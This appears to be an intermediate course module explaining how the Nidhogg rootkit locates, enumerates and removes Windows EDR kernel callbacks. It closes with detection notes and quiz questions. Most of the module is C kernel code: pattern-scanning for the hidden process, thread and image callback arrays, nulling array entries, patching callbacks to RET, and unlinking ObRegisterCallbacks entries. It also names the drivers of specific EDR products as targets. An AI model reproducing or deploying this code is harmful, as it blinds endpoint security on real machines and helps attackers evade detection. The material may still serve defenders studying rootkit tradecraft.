Difficulty: Intermediate

Module 6: Kernel Callbacks & Notification Routines

How EDR hooks into the kernel with callbacks and how Nidhogg removes them.

Module Objective

Understand the kernel notification callback infrastructure that EDR products rely on (PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine, PsSetLoadImageNotifyRoutine, ObRegisterCallbacks), the internal callback arrays that store these registrations, and how Nidhogg enumerates and removes specific EDR callbacks to blind kernel-level monitoring.

1. Why EDR Uses Kernel Callbacks

Modern EDR products install kernel drivers that register for notification callbacks. These callbacks provide real-time visibility into critical system events without polling:

Callback APIEvents NotifiedEDR Use Case
PsSetCreateProcessNotifyRoutineExEvery process creation and terminationDetect suspicious process spawning (e.g., cmd.exe from Word)
PsSetCreateThreadNotifyRoutineEvery thread creation in any processDetect remote thread injection (CreateRemoteThread)
PsSetLoadImageNotifyRoutineEvery image (DLL/EXE) load in any processDetect reflective DLL loading, suspicious DLL injection
ObRegisterCallbacksHandle creation/duplication for processes and threadsProtect EDR processes from being terminated or injected
CmRegisterCallbackExAll registry operationsDetect persistence via registry (Run keys, services)

By registering these callbacks, the EDR driver is notified synchronously for every relevant event system-wide. This is far more reliable than user-mode hooking because the callbacks fire in kernel mode before any user-mode code can interfere.

2. Process Notification Callback Internals

When a driver calls PsSetCreateProcessNotifyRoutineEx, the kernel stores the callback in an internal array. The array structure is:

C// Internal kernel structure (undocumented)
// PspCreateProcessNotifyRoutine is a global array in ntoskrnl

// Each element is an EX_CALLBACK_ROUTINE_BLOCK pointer (encoded)
// The array has a fixed maximum size (64 entries on modern Windows)

typedef struct _EX_CALLBACK_ROUTINE_BLOCK {
    EX_RUNDOWN_REF  RundownProtect;   // Reference counting for safe removal
    PEX_CALLBACK_FUNCTION Function;   // The actual callback function pointer
    PVOID           Context;          // Driver-provided context
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;

// The global array in ntoskrnl:
// EX_CALLBACK PspCreateProcessNotifyRoutine[PSP_MAX_CREATE_PROCESS_NOTIFY];
// Each EX_CALLBACK contains a pointer to an EX_CALLBACK_ROUTINE_BLOCK

// The pointer is encoded using ExFastReference (low bits used for ref count)

Encoded Pointers

The kernel stores callback pointers using EX_FAST_REF encoding, where the lowest 4 bits (on x64) store a reference count cache. To get the actual pointer, the low bits must be masked off: actualPtr = encodedPtr & ~0xF. This is a common kernel optimization that Nidhogg must account for when reading the callback array.

3. Locating the Callback Arrays

The callback arrays (PspCreateProcessNotifyRoutine, PspCreateThreadNotifyRoutine, PspLoadImageNotifyRoutine) are not exported. Nidhogg locates them by scanning known functions that reference them:

CPVOID FindPspCreateProcessNotifyRoutine() {
    // Strategy: PsSetCreateProcessNotifyRoutine is EXPORTED
    // and it references the internal array.

    // 1. Get the address of the exported function
    UNICODE_STRING funcName =
        RTL_CONSTANT_STRING(L"PsSetCreateProcessNotifyRoutine");
    PVOID funcAddr = MmGetSystemRoutineAddress(&funcName);
    if (!funcAddr) return NULL;

    // 2. Disassemble/scan the function for a LEA instruction
    // that loads the address of PspCreateProcessNotifyRoutine
    // Pattern: LEA R__, [RIP+offset]  (48 8D 0D xx xx xx xx)
    PUCHAR scan = (PUCHAR)funcAddr;
    for (ULONG i = 0; i < 256; i++) {
        // Look for LEA with RIP-relative addressing
        if (scan[i] == 0x4C && scan[i+1] == 0x8D &&
            (scan[i+2] & 0xC7) == 0x05) {
            // Extract RIP-relative offset
            LONG offset = *(PLONG)(&scan[i + 3]);
            return (PVOID)(scan + i + 7 + offset);
        }
    }
    return NULL;
}

4. Enumerating Registered Callbacks

Once the array is located, Nidhogg can enumerate all registered callbacks and identify which driver registered each one:

Ctypedef struct _CALLBACK_INFO {
    PVOID   CallbackAddress;    // The callback function address
    PVOID   DriverBase;         // Base address of the driver that owns it
    WCHAR   DriverName[64];     // Driver name (e.g., "CrowdStrike.sys")
    ULONG   ArrayIndex;         // Index in the callback array
} CALLBACK_INFO;

NTSTATUS EnumerateProcessCallbacks(
    CALLBACK_INFO* outInfo,
    ULONG maxEntries,
    PULONG actualCount
) {
    PVOID* callbackArray = FindPspCreateProcessNotifyRoutine();
    if (!callbackArray) return STATUS_NOT_FOUND;

    *actualCount = 0;
    for (ULONG i = 0; i < 64 && *actualCount < maxEntries; i++) {
        // Decode the EX_FAST_REF pointer
        ULONG_PTR encoded = (ULONG_PTR)callbackArray[i];
        ULONG_PTR decoded = encoded & ~0xF;  // Mask off ref count bits

        if (decoded == 0) continue;  // Empty slot

        // The decoded pointer is an EX_CALLBACK_ROUTINE_BLOCK
        PEX_CALLBACK_ROUTINE_BLOCK block =
            (PEX_CALLBACK_ROUTINE_BLOCK)decoded;

        // Get the actual callback function pointer
        PVOID callbackFunc = block->Function;

        // Identify which driver this callback belongs to
        CALLBACK_INFO* info = &outInfo[*actualCount];
        info->CallbackAddress = callbackFunc;
        info->ArrayIndex = i;
        IdentifyDriverByAddress(callbackFunc,
            info->DriverName, &info->DriverBase);

        (*actualCount)++;
    }
    return STATUS_SUCCESS;
}

5. Identifying EDR Driver Callbacks

To determine which callbacks belong to which driver, Nidhogg checks which loaded module's address range contains the callback function:

CNTSTATUS IdentifyDriverByAddress(
    PVOID address,
    PWCHAR driverName,
    PVOID* driverBase
) {
    // Walk PsLoadedModuleList to find which driver contains this address
    // PsLoadedModuleList is a linked list of KLDR_DATA_TABLE_ENTRY structures

    PKLDR_DATA_TABLE_ENTRY entry;
    PLIST_ENTRY listHead = PsLoadedModuleList;  // Exported by ntoskrnl

    for (PLIST_ENTRY current = listHead->Flink;
         current != listHead;
         current = current->Flink)
    {
        entry = CONTAINING_RECORD(current, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

        PVOID modBase = entry->DllBase;
        PVOID modEnd  = (PUCHAR)modBase + entry->SizeOfImage;

        if (address >= modBase && address < modEnd) {
            *driverBase = modBase;
            RtlCopyMemory(driverName, entry->BaseDllName.Buffer,
                min(entry->BaseDllName.Length, 63 * sizeof(WCHAR)));
            return STATUS_SUCCESS;
        }
    }

    return STATUS_NOT_FOUND;  // Address not in any loaded module (manual-mapped?)
}

Common EDR Driver Names

EDR ProductKernel Driver(s)
CrowdStrike Falconcsagent.sys, csdevicecontrol.sys
Microsoft DefenderWdFilter.sys
SentinelOneSentinelMonitor.sys
Carbon Blackcbk7.sys, cbsensor.sys
ElasticElasticEndpoint.sys

6. Removing EDR Callbacks

Nidhogg removes a callback by replacing its entry in the array with NULL or by patching the callback function to immediately return:

C// Method 1: Null out the array entry
NTSTATUS RemoveProcessCallback(ULONG arrayIndex) {
    PVOID* callbackArray = FindPspCreateProcessNotifyRoutine();
    if (!callbackArray) return STATUS_NOT_FOUND;

    // Atomically replace the entry with NULL
    InterlockedExchangePointer(&callbackArray[arrayIndex], NULL);

    return STATUS_SUCCESS;
}

// Method 2: Patch the callback function to RET immediately
NTSTATUS PatchCallbackFunction(PVOID callbackAddress) {
    // Disable write protection on the page
    PMDL mdl = IoAllocateMdl(callbackAddress, 1, FALSE, FALSE, NULL);
    MmProbeAndLockPages(mdl, KernelMode, IoWriteAccess);
    PVOID mapped = MmMapLockedPagesSpecifyCache(
        mdl, KernelMode, MmNonCached, NULL, FALSE, NormalPagePriority
    );

    // Write a RET instruction (0xC3)
    *(PUCHAR)mapped = 0xC3;

    // Cleanup
    MmUnmapLockedPages(mapped, mdl);
    MmUnlockPages(mdl);
    IoFreeMdl(mdl);

    return STATUS_SUCCESS;
}

Method 1 vs Method 2

Nulling the array entry is cleaner but can be detected by integrity checks that count registered callbacks. Patching to RET leaves the registration intact but makes the callback a no-op. Some EDR products checksum their own callback functions and detect the patch. In practice, combining both approaches and targeting specific products may be necessary.

7. Thread and Image Load Callbacks

The same approach works for thread creation and image load callbacks, since they use identical internal array structures:

C// Thread notification callbacks
// Stored in: PspCreateThreadNotifyRoutine (internal array)
// Registered via: PsSetCreateThreadNotifyRoutine
// Callback signature:
typedef VOID (*PCREATE_THREAD_NOTIFY_ROUTINE)(
    HANDLE ProcessId,
    HANDLE ThreadId,
    BOOLEAN Create  // TRUE = created, FALSE = terminated
);

// Image load notification callbacks
// Stored in: PspLoadImageNotifyRoutine (internal array)
// Registered via: PsSetLoadImageNotifyRoutine
// Callback signature:
typedef VOID (*PLOAD_IMAGE_NOTIFY_ROUTINE)(
    PUNICODE_STRING FullImageName,
    HANDLE ProcessId,
    PIMAGE_INFO ImageInfo  // Contains base address, size, etc.
);
Callback TypeInternal ArrayMax EntriesLocation Method
Process creationPspCreateProcessNotifyRoutine64Scan PsSetCreateProcessNotifyRoutine
Thread creationPspCreateThreadNotifyRoutine64Scan PsSetCreateThreadNotifyRoutine
Image loadPspLoadImageNotifyRoutine64Scan PsSetLoadImageNotifyRoutine

8. ObRegisterCallbacks Removal

ObRegisterCallbacks registrations (used for handle protection, covered in Module 3) have a different internal structure. They are stored in callback objects attached to the OBJECT_TYPE structure for processes and threads:

C// OBJECT_TYPE contains a CALLBACK_OBJECT for ObRegisterCallbacks
// The callback list is at OBJECT_TYPE->CallbackList

// To remove an ObRegisterCallbacks registration:
// 1. Get the OBJECT_TYPE for processes: *PsProcessType
// 2. Walk the CallbackList linked list
// 3. Find the entry belonging to the target EDR driver
// 4. Unlink it from the list

NTSTATUS RemoveObCallback(POBJECT_TYPE objectType, PVOID targetDriverBase) {
    // The CallbackList is at a known offset in OBJECT_TYPE
    PLIST_ENTRY callbackList =
        (PLIST_ENTRY)((PUCHAR)objectType + OB_CALLBACK_LIST_OFFSET);

    for (PLIST_ENTRY entry = callbackList->Flink;
         entry != callbackList;
         entry = entry->Flink)
    {
        // Each entry contains pre/post operation callback pointers
        // Check if the callback address falls within the target driver
        POB_CALLBACK_ENTRY cbEntry =
            CONTAINING_RECORD(entry, OB_CALLBACK_ENTRY, CallbackList);

        PVOID preOp = cbEntry->PreOperation;
        if (IsAddressInModule(preOp, targetDriverBase)) {
            // Unlink this callback entry
            RemoveEntryList(entry);
            return STATUS_SUCCESS;
        }
    }
    return STATUS_NOT_FOUND;
}

9. Impact and Detection Considerations

Removing EDR callbacks has massive impact but also creates detectable artifacts:

Impact of Callback Removal

Detection MethodWhat It Checks
Callback count monitoringEDR periodically counts its registered callbacks and alerts if count decreases
Callback integrity checksEDR checksums its callback functions and detects RET patches
Kernel telemetrySome EDR products have secondary detection via minifilters, not just callbacks
Callback re-registrationEDR periodically re-registers callbacks, undoing the removal
Driver verifierIntegrity checking of callback arrays by anti-tamper components

Arms Race

Callback removal is an arms race. EDR vendors implement watchdog threads that periodically verify their callbacks are intact and re-register them if removed. A sophisticated rootkit like Nidhogg may need to run a background thread that continuously removes re-registered callbacks, creating a persistent battle between the rootkit and the EDR self-protection mechanism.

Knowledge Check

Q1: How does Nidhogg locate the PspCreateProcessNotifyRoutine internal array?

A) By scanning the exported PsSetCreateProcessNotifyRoutine function for a LEA instruction that references the internal array via a RIP-relative address
B) The array is exported directly by ntoskrnl
C) By reading the EPROCESS structure of the System process
D) Through an IOCTL to the I/O Manager

Q2: What does EX_FAST_REF encoding mean for the callback array pointers?

A) The pointers are encrypted with AES
B) The pointers are stored as RVAs relative to ntoskrnl base
C) The lowest 4 bits of each pointer store a reference count cache and must be masked off to get the actual address
D) The pointers are XOR-encoded with a session key

Q3: What is the main risk of nulling a callback array entry compared to patching the function to RET?

A) Nulling causes an immediate BSOD
B) Nulling is detectable by EDR integrity checks that count registered callbacks; a missing entry is obvious
C) Nulling permanently corrupts the array
D) Nulling requires kernel debugging mode